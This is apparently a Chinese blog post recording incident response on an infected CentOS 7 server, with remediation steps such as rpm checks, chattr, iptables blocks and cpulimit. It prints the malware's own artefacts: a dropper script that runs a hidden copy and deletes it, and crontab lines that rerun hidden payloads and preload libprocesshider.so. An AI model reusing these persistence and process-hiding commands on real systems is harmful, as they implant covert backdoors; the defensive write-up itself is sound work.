    -rw-r--r-- 1 root root 51K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/tests/test_xmlrpc.pyc
    -rwxrw-rw- 1 root root 1.2K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/ui/images/button_refresh.gif
    -rwxrw-rw- 1 root root 1.4K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/ui/images/button_restart.gif
    -rwxrw-rw- 1 root root 1.3K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/ui/images/button_stop.gif
    -rwxrw-rw- 1 root root 1.7K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/ui/images/icon.png
    -rwxrw-rw- 1 root root 54 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/ui/images/rule.gif
    -rwxrw-rw- 1 root root 1.2K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/ui/images/state0.gif
    -rwxrw-rw- 1 root root 1.1K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/ui/images/state1.gif
    -rwxrw-rw- 1 root root 1.1K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/ui/images/state2.gif
    -rwxrw-rw- 1 root root 1.2K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/ui/images/state3.gif
    -rwxrw-rw- 1 root root 3.1K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/ui/images/supervisor.gif
    -rwxrw-rw- 1 root root 2.3K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/ui/status.html
    -rwxrw-rw- 1 root root 3.6K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/ui/stylesheets/supervisor.css
    -rwxrw-rw- 1 root root 691 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/ui/tail.html
    -rwxrw-rw- 1 root root 6 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/version.txt
    -rw-r--r-- 1 root root 23K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/web.py
    -rw-r--r-- 1 root root 20K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/web.pyc
    -rw-r--r-- 1 root root 22K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/xmlrpc.py
    -rw-r--r-- 1 root root 23K 10月 14 11:37 /usr/lib/python2.7/site-packages/supervisor-3.3.3-py2.7.egg/supervisor/xmlrpc.pyc
    -rwxr-xr-x 1 root root 954K 10月 14 11:37 /usr/sbin/https
    -rwxr-xr-x 1 root root 116 10月 14 11:37 /usr/sbin/httpss
    -rwxrwxrwx. 1 root root 39 10月 14 11:37 /usr/sbin/ss
    -rw-r--r-- 1 root root 284K 10月 14 11:30 /var/log/sa/sa14
    -rw-r--r-- 1 root root 1 10月 14 11:38 /var/log/syslog
    -rw-rw---- 1 root mail 0 10月 14 11:37 /var/spool/mail/ftp2

    查询以上可疑文件[root@centos7 lib]# rpm -qf /usr/sbin/ss
    iproute-3.10.0-87.el7.x86_64
    [root@centos7 lib]# rpm -qf /usr/sbin/https 查看执行文件属于哪个包
    文件 /usr/sbin/https 不属于任何软件包
    [root@centos7 lib]# rpm -qf /usr/sbin/https
    https httpss
    [root@centos7 lib]# rpm -qf /usr/sbin/https
    https httpss
    [root@centos7 lib]# rpm -qf /usr/sbin/httpss
    文件 /usr/sbin/httpss 不属于任何软件包

    [root@centos7 lib]# cat /usr/sbin/httpss

    #!/bin/bash
    cd /sbin 2>/dev/null
    cp -f -- https .sh 2>/dev/null
    ./.sh -c  >/dev/null 2>&1
    rm -rf -- .sh 2>/dev/null
    看上面的脚本将https复制为.sh隐藏文件,运行之,然后删除。太狡猾了!!
    

    rm -f /usr/sbin/https
    rm -f /usr/sbin/httpss

    注意看以上的/usr/sbin/httpss是否被cron调用

    查看 /usr/sbin/ss shell脚本内容基于iss可执行文件如下:

    #!/bin/sh
    iss|grep -v "127.0.0.1"
    exit
    

    进一步查询iss指令,发现居然没有man手册,iss也是可疑文件

    /usr/bin/nets 可执行文件
    /usr/bin/netstat shell脚本基于以上的nets

    /usr/bin/.bget 运行加-help参数 实际为wget
    /usr/bin/dget 实际为wget
    /usr/bin/dpkgd/ls
    /usr/bin/dpkgd/ne
    /usr/bin/dpkgd/ps
    /usr/bin/dpkgd/ss

    /usr/bin/.funzip 一运行就cpu飙高,应该是毒,建议删除rm -f /usr/bin/.funzip

    查看/etc/crontab如下:

    SHELL=/bin/bash
    PATH=/sbin:/bin:/usr/sbin:/usr/bin
    MAILTO=root
    
    # For details see man 4 crontabs
    
    # Example of job definition:
    # .---------------- minute (0 - 59)
    # |  .------------- hour (0 - 23)
    # |  |  .---------- day of month (1 - 31)
    # |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
    # |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
    # |  |  |  |  |
    # *  *  *  *  * user-name  command to be executed
    
    */1 * * * * root  cp -f -r -- /etc/.sh /tmp/.sh 2>/dev/null && /tmp/.sh -c  >/dev/null 2>&1 && rm -rf -- /tmp/.sh 2>/dev/null
    * * * * * root  echo /usr/local/lib/libprocesshider.so > /etc/ld.so.preload && lockr +i /etc/ld.so.preload >/dev/null 2>&1
    0 */4 * * * root /etc/profile.d/php.sh
    */3 * * * * root /etc/sphp >/dev/null 2>&1
    

    lsattr /etc/crontab -l
    chattr -ai /etc/crontab
    将以上的内容注释

    /etc/profile.d/php.sh内容如下:

    #!/bin/bash
    cat /etc/.qucfu.pid | xargs -I % kill -9 % >/dev/null 2>&1
    sleep 0.5
    cp -f -r -- /bin/shh /bin/.sh 2>/dev/null
    sleep 0.5
    /bin/.sh -c  >/dev/null 2>&1
    rm -rf -- .sh 2>/dev/null
    

    /etc/profile.d/supervisor.sh内容如下:

    #!/bin/bash
    supervisord -c /etc/.supervisor/supervisord.conf >/dev/null 2>&1
    supervisorctl reload >/dev/null 2>&1
    

    /etc/rc.d/rc.local或者/etc/rc.local中查看开机启动项目

    which ps
    file /usr/bin/ps 发现是empty 文件,草太不讲究了,把ps都废了

    find查找精确时间段文件的方法:https://blog.csdn.net/weixin_33763244/article/details/91820306

    此次中毒被利用了so动态库,参考:警惕利用Linux预加载型恶意动态链接库的后门
    https://www.freebuf.com/column/162604.html

    Linux中删不掉的文件——隐藏权限(lsattr、chattr命令)
    https://blog.csdn.net/qq_37212828/article/details/102810514
    模式
    a:让文件或目录仅供附加用途;
    b:不更新文件或目录的最后存取时间;
    c:将文件或目录压缩后存放;
    d:将文件或目录排除在倾倒操作之外;
    i:不得任意更动文件或目录;
    s:保密性删除文件或目录;
    S:即时更新文件或目录;
    u:预防意外删除

    限制进程的cpu使用率yum install cpulimit cpulimit -p 2626 -l 0.1 参考:http://www.ttlsa.com/tools/cpulimit-limit-cpu-usage-on-linux/
    实际需要nohup cpulimit -p 2626 -l 0.1 &
    可疑进程 .sh longbak
    根据进程id查看网络连接lsof -p 2626 或者lsof - p 2626 -n
    以上发现不断有.sh进程访问网络 lsof找到对外的连接 直接在iptables -I OUTPUT -d xxx.xx.xx.xx -j drop 找出所有的ip 全部drop 最后别忘了service
    发现了访问目标tproxy端口(网上搜索为8081端口) top 按c可查看具体的程序路径
    iptables save规则

    /bin/.sh和/usr/bin/.sh 一直存在,可自己touch出这2个文件,然后chattr +i 这2个文件防止被病毒复制修改

    参考:https://www.jb51.net/article/167765.htm
    https://blog.csdn.net/charliemunger/article/details/103610648

    /proc/pid/net中如何限制进程访问网络呢???

  • 相关阅读:
    正则 匹配 HTML 标签
    webpack 打包图片 能否提高加载速度
    禁止手机浏览器左右滑屏 后退 前进
    Objective-C--@property,@synthesize关键字介绍
    ios--绘图介绍
    iOS--为视图添加阴影
    iOS--iOS7摄像头识别二维码功能
    iOS--日历事件的获取和添加
    iOS-#ifdef DEBUG代码块介绍
    如何将你的程序打包成ipa
  • 原文地址:https://www.cnblogs.com/weihua2020/p/13845971.html
Copyright © 2011-2022 走看看